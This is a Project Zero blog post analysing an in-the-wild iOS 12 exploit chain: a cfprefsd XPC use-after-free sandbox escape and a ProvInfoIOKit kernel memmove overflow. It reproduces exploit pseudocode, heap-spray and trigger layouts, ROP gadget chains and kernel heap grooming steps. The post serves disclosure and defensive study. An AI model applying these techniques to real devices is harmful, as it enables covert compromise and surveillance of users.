Thursday, August 29, 2019

In-the-wild iOS Exploit Chain 4

Posted by Ian Beer, Project Zero


This exploit chain supported iOS 12-12.1, although the two vulnerabilities were unpatched when we discovered the chain in the wild. It was these two vulnerabilities which we reported to Apple with a 7-day deadline, leading to the release of iOS 12.1.4.

The sandbox escape vulnerability again involves XPC, though this time it's a particular daemon incorrectly managing the lifetime of an XPC object.  

It's the kernel bug used here which is, unfortunately, easy to find and exploit (if you don’t believe me, feel free to seek a second opinion!). An IOKit device driver with an external method which in the very first statement performs an unbounded memmove with a length argument directly controlled by the attacker:

ProvInfoIOKitUserClient::ucEncryptSUInfo(char* struct_in,
                                         char* struct_out){

The contents of the struct_in buffer are completely attacker-controlled.

Similar to iOS Exploit Chain 3, it seems that testing and verification processes should have identified this exploit chain. 

In the detailed writeup towards the end of this series, we'll look at how the attackers exploited both these issues to install their implant and spy on users, and the capabilities of the real-time surveillance that it enabled.

In-the-wild iOS Exploit Chain 4 - cfprefsd + ProvInfoIOKit

targets: 5s through X, 12.0 through 12.1 (vulnerabilities patched in 12.1.4)

iPhone6,1 (5s, N51AP)
iPhone6,2 (5s, N53AP)
iPhone7,1 (6 plus, N56AP)
iPhone7,2 (6, N61AP)
iPhone8,1 (6s, N71AP)
iPhone8,2 (6s plus, N66AP)
iPhone8,4 (SE, N69AP)
iPhone9,1 (7, D10AP)
iPhone9,2 (7 plus, D11AP)
iPhone9,3 (7, D101AP)
iPhone9,4 (7 plus, D111AP)
iPhone10,1 (8, D20AP)
iPhone10,2 (8 plus, D21AP)
iPhone10,3 (X, D22AP)
iPhone10,4 (8, D201AP)
iPhone10,5 (8 plus, D211AP)
iPhone10,6 (X, D221AP)

16A366 (12.0 - 17 Sep 2017)
16A404 (12.0.1 - 8 Oct 2018)
16B92 (12.1 - 30 Oct 2018)

first unsupported version 12.1.1 - 5 Dec 2018

getting _start'ed

Like in iOS Exploit Chain 3, this privilege escalation binary doesn't rely on the system Mach-O loader to resolve dependencies, instead symbols are resolved when execution begins.

They terminate all the other threads running in this task, then check for their prior exploitation marker. Previously we've seen them add a string to the bootargs sysctl. They changed to a new technique this time:

  sysctl_value = 0;
  value_size = 4;
  sysctlbyname("kern.maxfilesperproc", &sysctl_value, &value_size, 0, 0);
  if ( sysctl_value == 0x27FF )
    while ( 1 )

If kern.maxfilesperproc has the value 0x27ff, then this device is considered to be already compromised, and the exploit stops.

XPC again

Like iOS Exploit Chain 3, this chain has separate sandbox escape and kernel exploits. The sandbox escape involves XPC again, but this time it's not core XPC code but a daemon incorrectly using the XPC API.

Object lifetime management in XPC

XPC has quite detailed man pages which cover the lifetime semantics of XPC objects. Here's a relevant snippet from $ man xpc_objects:

     Objects returned by creation functions in the XPC framework may be uniformly retained and released with the functions xpc_retain() and xpc_release() respectively.

     The XPC framework does not guarantee that any given client has the last or only reference to a given object. Objects may be retained internally by the system.

     Functions which return objects follow the conventional create, copy and get naming rules:

  o create  A new object with a single reference is returned.
            This reference should be released by the caller.
  o copy    A copy or retained object reference is returned.
            This reference should be released by the caller.
  o get     An unretained reference to an existing object is returned.
            The caller must not release this reference, and is responsible
            for retaining the object for later use if necessary.

XPC objects are reference counted. xpc_retain can be called to manually take a reference, and xpc_release to drop a reference.  All XPC functions with copy in the name return an object with an extra reference to the caller and XPC functions with get in the name do not return an extra reference. The man page tells us that if we call an XPC function with get in the name "an unretained reference to an existing object is returned. The caller must not release this reference.'' A case of code doing exactly that is what we'll look at now.

cfprefsd vulnerability is an XPC service hosted by the cfprefsd daemon. This daemon is unsandboxed and runs as root, and is directly reachable from the app sandbox and the WebContent sandbox.

The cfprefsd binary is just a stub, containing a single branch to __CFXPreferencesDaemon_main in the CoreFoundation framework. All the code is in the CoreFoundation framework.

__CFXPreferencesDaemon_main allocates a CFPrefsDaemon object which creates the XPC service listening on the default concurrent dispatch queue, giving it a block to execute for each incoming connection. Here's pseudo-Objective-C for the daemon setup code:

[CFPrefsDaemon initWithRole:role testMode] {
  listener =

  xpc_connection_set_event_handler(listener, ^(xpc_object_t peer) {
    if (xpc_get_type(peer) == XPC_TYPE_CONNECTION) {
      xpc_connection_set_event_handler(peer, ^(xpc_object_t obj) {
        if (xpc_get_type(obj) == XPC_TYPE_DICTIONARY) {
          context_obj = xpc_connection_get_context(peer);
          cfprefsd = context_obj.cfprefsd;
          [cfprefsd handleMessage:obj fromPeer:peer replyHandler:
            ^(xpc_object_t reply)
              xpc_connection_send_message(peer, reply);

      // move to a new queue:
      char label[0x80];
      pid_t pid = xpc_connection_get_pid(peer)
      dispatch_queue_t queue;
      int label_len = snprintf(label, 0x80, "Serving PID %d", pid);
      if (label_len > 0x7e) {
        queue = NULL;
      } else {
        queue = dispatch_queue_create(label, NULL);
      xpc_connection_set_target_queue(peer, queue);

      context_obj = [[CFPrefsClientContext alloc] init];
      context_obj.lock = 0;
      context_obj.cfprefsd = self; // the CFPrefsDaemon object
      context_obj.isPlatformBinary = -1; // char
      context_obj.valid = 1;
      xpc_connection_set_context(peer, context_obj);
      xpc_connection_set_finalizer(peer, client_context_finalizer)

This block creates a new serial dispatch queue for each connection and provides a block for each incoming message on the connection.

Each XPC message on a connection ends up being handled by [CFPrefsDaemon handleMessage:fromPeer:replyHandler:] :

-[CFPrefsDaemon handleMessage:msg fromPeer:peer replyHandler: handler] {
  if (xpc_get_type(msg) == XPC_TYPE_ERROR) {
    [self handleError:msg]
  } else {
    xpc_dictionary_get_value(msg, "connection", peer);
    uint64_t op = xpc_dictionary_get_uint64(msg, "CFPreferencesOperation");
    switch (op) {
     case 1:
     case 7:
     case 8:
      [self handleSourceMessage:msg replyHandler:handler];
     case 2:
      [self handleAgentCheckInMessage:msg replyHandler:handler];
     case 3:
      [self handleFlushManagedMessage:msg replyHandler:handler];
     case 4:
      [self handleFlushSourceForDomainMessage:msg replyHandler:handler];
     case 5:
      [self handleMultiMessage:msg replyHandler:handler];
     case 6:
      [self handleUserDeletedMessage:msg replyHandler:handler];
      // send error reply

handleMultiMessage sounds like the most interesting one; here's the pseudocode:

-[CFPrefsDaemon handleMultiMessage:msg replyHandler: handler]
  xpc_object_t peer = xpc_dictionary_get_remote_connection(msg);
  // ...
  xpc_object_t messages = xpc_dictionary_get_value(msg, "CFPreferencesMessages");
  if (!messages || xpc_get_type(messages) != OS_xpc_array) {
    // send error message

  // may only contain dictionaries or nulls:
  bool all_types_valid = xpc_array_apply(messages, ^(xpc_object_t entry) {
    xpc_type_t type = xpc_get_type(entry);
    return (type == XPC_TYPE_DICTIONARY || type == XPC_TYPE_NULL)

  if (!all_types_valid) {
    // return error

  size_t n_sub_messages = xpc_array_get_count(messages);

  // macro from CFInternal.h
  // allocates either on the stack or heap
  new_id_array(sub_messages, n_sub_messages);

  if (n_sub_messages > 0) {
    for (size_t i = 0; i < n_sub_messages; i++) {
      // raw pointers, not holding a reference
      sub_messages[i] = xpc_array_get_value(messages, i);

    for (size_t i = 0; i < n_sub_messages; i++) {
      if (xpc_get_type(sub_messages[i]) == XPC_TYPE_DICTIONARY) {
        [self handleMessage: sub_messages[i]
              fromPeer: peer
              replyHandler: ^(xpc_object_t reply) {
                sub_messages[i] = xpc_retain(reply);

  xpc_object_t reply = xpc_dictionary_create_reply(msg);
  xpc_object_t replies_arr = xpc_array_create(sub_messages, n_sub_messages);
  xpc_dictionary_set_value(reply, "CFPreferencesMessages", replies_arr);


  if (n_sub_messages) {
    for (size_t i = 0; i < n_sub_messages; i++) {
      if (xpc_get_type(sub_messages[i]) != XPC_TYPE_NULL) {




The multiMessage handler is expecting the input message to be an xpc_array of xpc_dictionary objects, which would be the sub-messages to process. It pulls each of them out of the input xpc_array with xpc_array_get_value and passes them to the handleMessage method but with a different replyHandler block which, rather than immediately sending the reply message back to the client, instead overwrites the input sub-message pointer in the sub_messages array with the reply. When all the sub-messages have been processed they create an xpc_array from all the replies and invoke the replyHandler passed to this function passing a reply message containing an xpc_array of sub-message replies.

The bug here is slightly subtle. If we imagine that there is no multiMessage, then the semantics of the replyHandler block which gets passed to each message handler are: "invoke me to send a reply". Hence the name "replyHandler". For example, message type 3 is handled by handleFlushManagedMessage, which invokes the replyHandler block to return a reply.

However not all of the message types expect to send a reply. Think of them like void functions in C; they have no return value. Since they don't return a value, they don't send a reply message. And that means that they don't invoke the replyHandler block. Why would you invoke a block called replyHandler if you had no reply to send?

The problem is that multiMessage has changed the semantics of the replyHandler block; multiMessage's replyHandler block takes a reference on the reply object and overwrites the input message object in the sub_messages array:

    for (size_t i = 0; i < n_sub_messages; i++) {
      if (xpc_get_type(sub_messages[i]) == XPC_TYPE_DICTIONARY) {
        [self handleMessage: sub_messages[i]
              fromPeer: peer
              replyHandler: ^(xpc_object_t reply) {
                sub_messages[i] = xpc_retain(reply);

But as we saw, there's no guarantee that the replyHandler block is going to be invoked at all; in fact some of the message handlers are just NOPs and do nothing at all.

This becomes a problem because the multiMessage replyHandler block changes the lifetime semantics of the pointers stored in the sub_messages array. When the sub_messages array is initialized it stores raw, unretained pointers, returned by an xpc_*get* method:

    for (size_t i = 0; i < n_sub_messages; i++) {
      // raw pointers, not holding a reference
      sub_messages[i] = xpc_array_get_value(messages, i);

xpc_array_get_value returns the raw pointer at the given offset in the xpc_array. It doesn't return a pointer holding a new reference. Therefore it's not valid to use that pointer beyond the lifetime of the messages xpc_array. The replyHandler block then reuses the sub_messages array to store the replies to each of the sub-messages, but this time it takes a reference on the reply objects it stores in there:

    for (size_t i = 0; i < n_sub_messages; i++) {
      if (xpc_get_type(sub_messages[i]) == XPC_TYPE_DICTIONARY) {
        [self handleMessage: sub_messages[i]
              fromPeer: peer
              replyHandler: ^(xpc_object_t reply) {
                sub_messages[i] = xpc_retain(reply);

Once all the sub_messages have been handled they attempt to release all of the replies:

  if (n_sub_messages) {
    for (size_t i = 0; i < n_sub_messages; i++) {
      if (xpc_get_type(sub_messages[i]) != XPC_TYPE_NULL) {

If there were a sub-message which didn't invoke the replyHandler block, then this loop would xpc_release the input sub-message xpc_dictionary, returned via xpc_array_get_value, rather than a reply. As we know, xpc_array_get_value doesn't return a reference, so this would lead to a reference being dropped when none was taken. Since the only reference to the sub-message xpc_dictionary is held by the xpc_dictionary containing the request message, the xpc_release here will free the sub-message xpc_dictionary, leaving a dangling pointer in the request message xpc_dictionary. When that dictionary is released, it will call xpc_release on the sub-message dictionary again, causing an Objective-C selector to be sent to a free'd object.


Like iOS Exploit Chain 3, they also choose a heap and port spray strategy here. But they don't use a resource leak primitive, instead sending everything in the XPC trigger message itself.

Exploit flow

The exploit strategy here is to reallocate the free'd xpc_dictionary in the gap between the xpc_release when destroying the sub_messages and the xpc_release of the outer request message. They do this by using four threads, running in parallel. Threads A, B and C start up and wait for a global variable to be set to 1. When that happens they each try 100 times to send the following XPC message to the service:

{ "CFPreferencesOperation": 5,
  "CFPreferencesMessages" : [10'000 * xpc_data_spray] }

where xpc_data_spray is a 448-byte xpc_data buffer filled with the qword value 0x118080000. This is the target address to which they will try to heapspray. They are hoping that the contents of one of these xpc_data's 448-byte backing buffers will overlap with the free'd xpc_dictionary, completely filling the memory with the heapspray address.

As we saw in [CFPrefsDaemon handleMultiMessage:replyHandler] this is not a valid multiMessage; the CFPreferencesMessage array may only contain dictionaries or NULLs. Nevertheless, it will take some time for all these xpc_data objects to be created, handleMultiMessage to run, fail and the xpc_data objects to be destroyed. They are hoping that with three threads trying this in parallel this replacement strategy will be good enough.

Trigger message

The bug will be triggered by a sub-message with an operation key mapping to a handler which doesn't invoke its reply block. They chose operation 4, handled by handleFlushSourceForDomainMessage. The trigger message looks like this:

{ "CFPreferencesOperation": 5
  "CFPreferencesMessages" :
      8000 * (op_1_dict, second_op_5_dict),
      150 * (second_op_5_dict, op_4_dict, op_4_dict, op_4_dict),

where the sub-message dictionaries are:

op_1_dict = {
  "CFPreferencesOperation": 1,
  "domain": "a",
  "A": 8_byte_xpc_data

second_op_5_dict = {
  "CFPreferencesOperation": 5

op_4_dict = {
  "CFPreferencesOperation": 4

third_op_5_dict = {
  "CFPreferencesOperation": 5
  "CFPreferencesMessages" : [0x2000 * xpc_send_right,
                             0x10 * xpc_data_heapspray]

On 4k devices the heapspray xpc_data object is around 25MB, on 16k devices with more RAM it's around 30MB. They put 16 of them in the message, leading to 400MB of sprayed virtual address space on 4k and 500MB or so on 16k devices.

PC control

The racer threads are trying to refill free'd memory with the repeated pointer value 0x118080000. If things work out xpc_release will be called on an xpc_dictionary which is filled with that value.

What does xpc_release actually do? The first qword of an Objective-C object is its isa pointer. This is a pointer to the class object which defines the object's type. In xpc_release they check whether the isa points inside libxpc's __objc_data section. If so, it calls os_object_release. Since they've supplied a fake isa pointer (with the value 0x118080000) the other branch will be taken, calling objc_release. If the FAST_ALLOC bit is clear in the class object's bits field (bit 2 in the byte at offset 0x20) then this will result in the release selector being sent to the object, which is what will happen in this case:

fake selector cache technique

This diagram shows a Objective-C object on the left, where every aligned qword has been replaced with the heapspray target value of 0x118080000. The first qword is the Objective-C object's isa pointer, which now points in to the heapspray. In the heapspray they craft a fake selector cache pointer at offset +0x10, which then points back in to the heapspray at offset +0x30 where there's a pointer to gadget_0 followed by a pointer to the release selector.
Building a fake Objective-C object to gain PC control when a selector is sent to it like this is a known technique. obj_msgSend is the native function responsible for handling selector invocations. It will first follow the isa pointer to the class object, then follow the pointer at +0x10 in there to a selector cache structure, which is an array of (function_pointer, selector) pairs; if the target selector matches an entry in the cache, then the cached function pointer is called.

Full control

At the point they gain PC control X0 points to the free'd xpc_dictionary object. In the previous chain which also had a sandbox escape they were able to quite easily pivot the stack by JOP'ing to longjmp. In iOS 12 Apple added some hardening to longjmp, on both the A12 using PAC and A11 and earlier devices without PAC. Those devices are not supported by these exploits (though the exploits can be relatively easily ported to work on them).

Here's longjmp in iOS 12 for A11 and below:

MRS    X16, #3, c13, c0, #3 ; read TPIDRRO_EL0
LDR    X16, [X16,#0x38] ; read a key from field 7
                        ; in the thread descriptor
LDP    X19, X20, [X0]
LDP    X21, X22, [X0,#0x10]
LDP    X23, X24, [X0,#0x20]
LDP    X25, X26, [X0,#0x30]
LDP    X27, X28, [X0,#0x40]
LDP    X10, X11, [X0,#0x50]
LDR    X12, [X0,#0x60]
LDP    D8, D9, [X0,#0x70]
LDP    D10, D11, [X0,#0x80]
LDP    D12, D13, [X0,#0x90]
LDP    D14, D15, [X0,#0xA0]
EOR    X29, X10, X16    ; use the key to XOR FP, LR and SP
EOR    X30, X11, X16
EOR    X12, X12, X16
MOV    SP, X12
CMP    W1, #0

We looked at longjmp in iOS 11 for the iOS Exploit Chain 3 sandbox escape. The addition here in iOS 12 on A11 and below is the reading of a key from the thread local storage area and its use to XOR the LR, SP and FP registers.

Those first three instructions are the _OS_PTR_MUNGE_TOKEN macro from libsyscall:

#define _OS_PTR_MUNGE_TOKEN(_reg, _token) \
mrs _reg, TPIDRRO_EL0 %% \
and _reg, _reg, #~0x7 %% \
ldr _token, [ _reg,  #_OS_TSD_OFFSET(__TSD_PTR_MUNGE) ]

This is reading from the TPIDRRO_EL0 system register (Read-Only Software Thread ID Register) which XNU points to the userspace thread local storage area. The key value is passed to new processes on exec via the special apple[] argument to main, generated here during exec:

 * Supply libpthread & libplatform with a random value to use for pointer
 * obfuscation.
error = exec_add_entropy_key(imgp, PTR_MUNGE_KEY, PTR_MUNGE_VALUES, FALSE);

Fundamentally, the use of longjmp in iOS Exploit Chain 3 was just a technique; it was nothing fundamental to the exploit chain. longjmp was just a very convenient way to pivot the stack and gain full register control. Let's see how the attackers pivot the stack anyway, without the use of longjmp:

Here's gadget_0, which will be read from the fake Objective-C selector cache object. X0 will point to the dangling xpc_dictionary object which is filled with 0x118080000:

LDR  X0, [X0,#0x18] ; X0 := (*(dangling_ptr+0x18)) (= 0x118080000)
LDR  X1, [X0,#0x40] ; X1 := (*(0x118080040)) (= gadget_1_addr)
BR   X1           ; jump to gadget_1

gadget_0 gives them X0 pointing to the heap-sprayed object, and branches to gadget_1:

LDR  X0, [X0]       ; X0 := (*(0x118080000)) (= 0x118080040)
LDR  X4, [X0,#0x10] ; X4 = *(0x118080050) (= gadget_2_addr)
BR   X4           ; jump to gadget_2

gadget_1 gets a new, controlled value for X0 and jumps to gadget_2:

LDP  X8, X1, [X0,#0x20] ; X8 := *(0x118080060) (=0x1180900c0)
                        ; X1 := *(0x118080068) (=gadget_4_addr)
LDP  X2, X0, [X8,#0x20] ; X2 := *(0x1180900e0) (=gadget_3_addr)
                        ; X0 := *(0x1180900e8) (=0x118080070)
BR   X2               ; jump to gadget_3

gadget_2 gets control of X0 and X8 and jumps to gadget_3:

STP  X8, X1, [SP]        ; *(SP) = 0x1180900c0
                         ; *(SP+8) = gadget_4_addr
LDR  X8, [X0]            ; X8 := *(0x118080070) (=0x118080020)
LDR  X8, [X8,#0x60]      ; X8 := *(0x118080080) (=gadget_4_addr+4)
MOV  X1, SP              ; X1 := real stack
BLR  X8 ; jump to gadget 4+4

gadget_3 stores X8 and X1 to the real stack, creating a fake stack frame with a controlled value for the saved frame pointer (0x1180900c0) and a controlled return address (gadget_4_addr.) It then jumps to gadget_4+4:

LDP X29, X30, [SP],#0x10 ; X29 := *(SP)   (=0x1180900c0)
                         ; X30 := *(SP+8) (=gadget_4_addr)
                         ; SP += 0x10
RET ; jump to LR (X30), gadget_4:

This loads the frame pointer and link register from the real stack, from the addresses where they just wrote controlled values. This gives them arbitrary control of the frame pointer and link register. The RET jumps to the value in the link register, which is gadget_4:

MOV  SP, X29              ; SP := X29 (=0x1180900c0)
LDP  X29, X30, [SP],#0x10 ; X29 := *(0x1180900c0) (=UNINIT)
                          ; X30 := *(0x1180900c8) (gadget_5_addr)
                          ; SP += 0x10 (SP := 0x1180900d0)
RET                       ; jump to LR (X30), gadget_5

This moves their controlled frame pointer into the stack pointer register, loads new values for the frame pointer and link register from there and RETs to gadget_5, having successfully pivoted to a controlled stack pointer. The ROP stack from here on is very similar to PE3's sandbox escape stack; they use the same LOAD_ARGS gadget to load X0-X7 before each target function they want to call:

gadget_5: (LOAD_ARGS)
LDP   X0, X1, [SP,#0x80]
LDP   X2, X3, [SP,#0x90]
LDP   X4, X5, [SP,#0xA0]
LDP   X6, X7, [SP,#0xB0]
LDR   X8, [SP,#0xC0]
MOV   SP, X29
LDP   X29, X30, [SP],#0x10

They also use the same memory_write gadget:

gadget_6: (MEMORY_WRITE)
LDR             X8, [SP]
STR             X0, [X8,#0x10]
LDP             X29, X30, [SP,#0x20]
ADD             SP, SP, #0x30

See the writeup for iOS Exploit Chain 3 for an annotated breakdown of how the ROP stack using these gadgets works. It proceeds in a very similar way to iOS Exploit Chain 3; calling IOServiceMatching, IOServiceGetMatchingService then IOServiceOpen to get an IOKit UserClient mach port send right. They use the memory write gadget to write that port name to the four exfil messages, which they send in succession. In the WebContent process they listen on the portset for a message. If they receive a message, it's got a ProvInfoIOKitUserClient send right in it.

Kernel vulnerability

The sandbox escape sent back a connection to the ProvInfoIOKitUserClient user client class, present since at least iOS 10.

This class exposes an interface to userspace by overriding getTargetAndMethodForIndex, providing 6 external methods. getTargetAndMethod returns a pointer to an IOExternalMethod structure which describes the type and size of the expected inputs and outputs.

External method 5 is ucEncryptSUInfo, which takes a 0x7d8 byte structure input and returns a 0x7d8 byte structure output. These sizes are verified by the base IOUserClient class's implementation of IOUserClient::externalMethod; attempting to pass other sizes of input or output structure will fail.

This is the very first statement in ProvInfoIOKitUserClient::ucEncryptSUInfo, I haven't trimmed anything from the start of this function. struct_in points to a buffer of 0x7d8 attacker controlled bytes. As seen in the introduction above:

ProvInfoIOKitUserClient::ucEncryptSUInfo(char* struct_in,
                                         char* struct_out){

IOKit external methods are akin to syscalls; the arguments are untrusted at this boundary. The very first statement in this external method is a memmove operation with a trivially user-controlled length argument.

Kernel exploitation

The start of the kernel exploit is the same as usual: get the correct kernel offsets for this device and create an IOSurfaceRootUserClient for attaching arbitrary OSObjects. They allocate the 0x800 pipes (first increasing the open files limit) and 1024 early ports.

Then they allocate 768 ports, split into four groups like this:

for ( i = 0; i < 192; ++i ) {
  mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &ports_a[i]);
  mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &ports_b[i]);
  mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &ports_c[i]);
  mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &ports_d[i]);

Then a further five standalone ports:

mach_port_allocate((unsigned int)mach_task_self_, 1LL,
mach_port_allocate((unsigned int)mach_task_self_, 1LL, &single_port_b);
mach_port_allocate((unsigned int)mach_task_self_, 1LL, &single_port_c);
mach_port_allocate((unsigned int)mach_task_self_, 1LL, &single_port_d);
mach_port_allocate((unsigned int)mach_task_self_, 1LL,

They use a kalloc_groomer message to make 25600 kalloc.4096 allocations, then force a GC using the same new technique as iOS Exploit Chain 3.

They allocate 10240 before_ports, a target_port, and 5120 after_ports. This is again a carbon-copy of every which we've seen in the previous chains. It seems like they're setting up for giving themselves a dangling pointer to target_port, doing a zone transfer into kalloc.4096 and building a fake kernel task port.

They send a more complex kalloc_groomer which will make 1024 kalloc.4096 allocations followed by 1024 kalloc.6144 allocations. This fills in gaps in both those zones.

96 times they alternately send an out-of-line ports descriptor with 0x200 entries to a port from ports_a[] then a kalloc.4096 groomer to a port from ports_c[].

for ( j = 0; j < 96; ++j ) { // use the first half of these arrays of ports
                     0x14u);// 15 or 8 kalloc.4096 of ool_ports
                          1);// kalloc.4096 of ool_desc

The kalloc.4096 containing the OOL_PORTS descriptor in the kernel will look like this:

+0x528 : target_port
+0x530 : target_port
+0xd28 : target_port
+0xd30 : target_port

hopefully that approximately alternates with a kalloc.4096 which is empty. This gives them a kalloc.4096 which looks a bit like this:
This diagram shows the heap groom in the kalloc.4096 zone. The attackers are creating a pattern of out-of-line ports and out-of-line memory descriptors which approximately alternate.
where the P's are out-of-line ports descriptors with the above layout and the K's are empty kalloc.4096 from the out-of-line memory descriptors.

They then alternate another 96 times, first deserializing a 4104 byte OSData object filled with ASCII '1's and a 4104 kalloc groomer which is empty. Both of these will result in kalloc.6144 allocations, as that's the next size class above kalloc.4096:
This diagram shows the heap groom in the kalloc.6144 zone. This time the groom alternates between OSData object backing buffers and out-of-line memory descriptors.
This leads to a layout a bit like that, where OSData backing buffers approximately alternate with empty out-of-line memory descriptors in kalloc.6144.

Making holes

They destroy the middle half of the kalloc.4096's, hopefully leaving gaps in-between some of the the out-of-line ports descriptors: This diagram shows the kalloc.4096 zone groom. Now some of the out-of-line memory descriptors have been free'd, leaving gaps in front of some of the out-of-line ports descriptors.
Similarly they destroy the middle half of the kalloc.6144 out-of-line memory descriptors:
This diagram shows the kalloc.6144 zone heap groom. Some of the out-of-line memory descriptors have been free'd, leaving gaps in front of some of the OSData object backing buffers. They reallocate half the amount they just freed via a complex kallocer with 24 allocations, then trigger the overflow:
__int64 __fastcall trigger_overflow(mach_port_t userclient,
                                    uint32_t bad_length)
  int64 struct_out_size;
  char struct_out[0x7d8];
  char struct_in[0x7d8];
  memset(struct_in, 'A', 0x7D8LL);
  *(uint32_t*)struct_in = 1;
  *(uint32_t*)&struct_in[0x7D4] = bad_length;
  struct_out_size = 0x7D8LL;
  return IOConnectCallStructMethod(userclient,

To understand what happens here we need to look more closely at exactly how external method calls work:

IOConnectCallStructMethod is a wrapper function implemented in IOKitLib.c, part of the open source IOKitUser project. It's just a wrapper around IOConnectCallMethod:

IOConnectCallStructMethod(mach_port_t connection,      // In
                          uint32_t    selector,     // In
                          const void* inputStruct,     // In
                          size_t      inputStructCnt,  // In
                          void*       outputStruct,    // Out
                          size_t*     outputStructCnt) // In/Out
  return IOConnectCallMethod(connection,   selector,
                             NULL,         0,
                             inputStruct,  inputStructCnt,
                             NULL,         NULL,
                             outputStruct, outputStructCnt);

IOConnectCallMethod is a more complex wrapper which selects the correct kernel MIG function to call based on the passed arguments; in this case that's io_connect_method:

rtn = io_connect_method(connection,         selector,
                        (uint64_t *) input, inputCnt,
                        inb_input,          inb_input_size,
                        ool_input,          ool_input_size,
                        inb_output,         &inb_output_size,
                        output,             outputCnt,
                        ool_output,         &ool_output_size);

The IOKitLib project doesn't contain the implementation of io_connect_method; neither does the XNU project, so where is it? io_connect_method is a MIG RPC method, defined in the device.defs file in the XNU project. Here's the definition:

routine io_connect_method (
      connection      : io_connect_t;
in    selector        : uint32_t;
in    scalar_input    : io_scalar_inband64_t;
in    inband_input    : io_struct_inband_t;
in    ool_input       : mach_vm_address_t;
in    ool_input_size  : mach_vm_size_t;

out   inband_output   : io_struct_inband_t, CountInOut;
out   scalar_output   : io_scalar_inband64_t, CountInOut;
in    ool_output      : mach_vm_address_t;
inout ool_output_size : mach_vm_size_t

Running the MIG tool on device.defs will generate the serialization and deserialization C code which userspace and the kernel use to implement the client and server parts of the RPC. This happens as part of the XNU build process.

The first argument to the MIG method is a mach port; this is the port to which the serialized message will be sent.

Receiving in EL1

In the mach message send path in ipc_kmsg.c there's the following check:

    if (port->ip_receiver == ipc_space_kernel) {
         * Call the server routine, and get the reply message to send.
        kmsg = ipc_kobject_server(kmsg, option);
        if (kmsg == IKM_NULL)
            return MACH_MSG_SUCCESS;

If a mach message is sent to a port which has its ip_receiver field set to ipc_space_kernel it's not enqueued onto the receiving port's message queue. Instead the send path is short-circuited and the message is assumed to be a MIG serialized RPC request for the kernel and it's synchronously handled by ipc_kobject_server:

                   ipc_kmsg_t request,
                   mach_msg_option_t __unused option)
    int request_msgh_id = request->ikm_header->msgh_id;
     * Find out corresponding mig_hash entry if any
        unsigned int i = (unsigned int)MIG_HASH(request_msgh_id);
        int max_iter = mig_table_max_displ;
        do {
            ptr = &mig_buckets[i++ % MAX_MIG_ENTRIES];
        } while (request_msgh_id != ptr->num && ptr->num && --max_iter);
        if (!ptr->routine || request_msgh_id != ptr->num) {
            ptr = (mig_hash_t *)0;
            reply_size = mig_reply_size;
        } else {
            reply_size = ptr->size;
    /* round up for trailer size */
    reply_size += MAX_TRAILER_SIZE;
    reply = ipc_kmsg_alloc(reply_size);

This function looks up the message's msgh_id field in a table containing all the kernel MIG subsystems (not just those from devices.defs, but also methods for task ports, thread ports, the host port and so on).

From that table it reads the maximum reply message size (which is static in MIG) and allocates a suitably sized reply ipc_kmsg structure. For more details on the ipc_kmsg structure see this blog post from a couple of years ago on using it for exploitation.

It just so happens that the serialized io_connect_method request message falls in kalloc.4096, and the reply message in kalloc.6144, the two zones which have been groomed.

Since both the request and reply message will be using inband structure buffers, the input and output structure buffers passed to the external method will point directly into the request and reply ipc_kmsg structures. Recalling the heap grooming earlier, they'll end up with the following layout: This diagram shows the kalloc.4096 heap groom. The attackers are trying to get the request ipc_kmsg to fall in a gap just before one of the out-of-line ports descriptors. If this happens, then the out-of-bounds read will read off of the end of the ipc_kmsg and over in to an out-of-line ports descriptor. This diagram shows the reply ipc_kmsg in the kalloc.6144 zone. It's landed in a gap just before one of the OSData object backing buffers, meaning the out-of-bounds write off the end of the reply ipc_kmsg will write in to an OSData object backing buffer.
This is the setup when the vulnerability is triggered; the goal here is to disclose the address of the target port. If the groom succeeded then the bad memmove in the external method will copy from the out-of-line ports descriptor which lies after the request message into the OSData object backing buffer which is after the reply ipc_kmsg structure.

After triggering the bug they read each of the sprayed OSData objects in turn, checking whether they appear to now contain something which looks like a kernel pointer:

for (int m = 0; m < 96; ++m) {
  sprintf(k_str_buf, "k_%d", m);
  max_len = 102400LL;
  if ( iosurface_get_property_wrapper(k_str_buf,
                                      &max_len)) {
    found_at = memmem(property_value_buf,
    if ( found_at ) {
      found_at = (int *)((char *)found_at - 1);
      disclosed_port_address = found_at[1] + ((__int64)*found_at << 32);

If this succeeds then they've managed to disclose the kernel address of the target_port ipc_port structure. As we've seen in the previous chains, this is one of the prerequisites for their fake kernel port technique.

try, try, try again

They begin setting up to trigger the bug a second time. They send another complex kalloc groomer to fill in holes in kalloc.4096 and kalloc.6144 then perform two more heap grooms in both those zones. 

In a buffer which will be sent in a kalloc.4096 out-of-line memory descriptor they write two values:

+0x514 : kaddr_of_target_port
+0xd14 : kaddr_of_target_port_neighbour (either the port below or above target port)

The neighbour port kernel address will be below, unless the port below starts a 4k page, in which case it's above. This diagram shows the kalloc.4096 zone groom the second time around. Now there are two sets of out-of-line memory descriptors. Both C and A here contain the out-of-line memory descriptor buffer with the disclosed port addresses.

They make a similar groom in kalloc.6144, alternating between an out-of-line ports descriptor with 0x201 entries, all of which are MACH_PORT_NULL, and an out-of-line memory descriptor buffer:
This diagram shows the second heap groom in the kalloc.6144 zone. They are alternating out-of-line ports descriptors with out-of-line memory descriptors. The out-of-line ports descriptors are sent to ports from the ports_b array, the out-of-line memory descriptors to ports from ports_d.

They then destroy the middle half of those middle ports (the middle C's and middle D's) and reclaim half of those freed, hopefully leaving the following heap layout:
This diagram shows the kalloc.4096 zone. The have made a gap before one of the out-of-line memory descriptors. This diagram shows the kalloc.6144 zone. They've made a gap in front of one of the out-of-line ports descriptors.
They then trigger the overflow a second time:
This diagram shows the kalloc.4096 zone when the vulnerability is triggered. The request ipc_kmsg has been allocated in the gap preceding one of the out-of-line memory descriptors. This means that the out-of-bounds read will read from the out-of-line memory, in which the attackers have placed a pointer to a mach port. This diagram shows the kalloc.6144 zone when the vulnerability is triggered. The reply ipc_kmsg has landed just before an out-of-line ports descriptor, which means the out-of-bounds write which will occur will write in to the out-of-line ports descriptor.
The idea here is to read out of bounds into the kalloc.4096 out-of-line memory descriptor buffers which contain two port pointers, then write those values out-of-bounds off the end of the reply message, somewhere in one of those B out-of-line ports descriptors. They're again creating a situation where an out-of-line ports descriptor gets corrupted to have reference-holding pointers for which a reference was never taken.

